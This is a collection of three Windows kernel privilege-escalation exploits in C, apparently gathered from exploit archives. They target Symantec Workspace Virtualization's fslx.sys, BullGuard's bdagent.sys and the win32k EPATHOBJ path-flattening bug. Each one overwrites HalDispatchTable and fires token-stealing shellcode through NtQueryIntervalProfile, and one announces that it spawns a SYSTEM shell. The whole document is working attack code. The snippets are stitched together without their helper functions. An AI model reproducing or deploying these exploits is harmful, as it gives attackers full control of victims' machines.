int main(int argc, char* argv[]) { printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n" "fslx.sys <= 6.4.1895.0\n" "\nBy MJ0011\n2013-7-17\[email protected]\nPRESS ENTER\n"); getchar(); PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); if (pinfo==0) { printf("cannot get system info\n"); return 0 ; } if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1)) { printf("cannot init inbv system!\n"); return 0 ; } pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey"); //alloc shellcode jump PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory"); PVOID BaseAddress = (PVOID)0x1 ; ULONG dwsize = 0x1000 ; LONG status ; status = NTAllocateVM ( GetCurrentProcess() , &BaseAddress , 0 , &dwsize , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ); if (status !=0) { printf("err alloc vm %08x\n", status); getchar(); return 0 ; } //result length always <=0x800 //0~0x800: NOP //0x800: shell code memset((PVOID)0x0 , 0x90 , 0x1000); *(BYTE*)((ULONG)0x800) = 0xe9 ; *(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5 ; //get haldispatchtable HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1); if (hntos == 0 ) { printf("cannot load ntos\n"); getchar(); return 0 ; } PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable"); pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos); pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base); PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG)); FreeLibrary(hntos); HKEY hkey ; ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey); if (err!=ERROR_SUCCESS) { printf("open key read failed %u\n" ,err); getchar(); return 0 ; } HKEY hkey2 ; err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2); if (err != ERROR_SUCCESS) { printf("open key write failed %u\n", err); getchar(); return 0 ; } DWORD dd ; err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD)); if (err != ERROR_SUCCESS) { printf("set value %u\n" , err); getchar(); return 0 ; } BYTE buffer[100]; PVOID pbuf = buffer ; UNICODE_STRING name ; name.Buffer = NULL ; name.Length = 0 ; name.MaximumLength=0; status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr ); //fire our shell code pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile"); NtQueryIntervalProfile(ProfileTotalIssues , 0 ); return 0; }
int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on Windows XP SP3 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "bdagent"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); printf("[+] Restoring Hal dispatch table pointers\n\n"); DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); CloseHandle(hDevice); return 0; }
VOID elevator_complex_path() { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- [email protected], [email protected] ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; //TargetPid = (PULONG)2032; TargetPid = (PULONG)GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return; } } LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) ComplexPathNumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (ComplexPathFinished) { LogMessage(L_INFO, "Success...", ComplexPathFinished); //ExitProcess(0); return; } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); //ExitProcess(1); return; }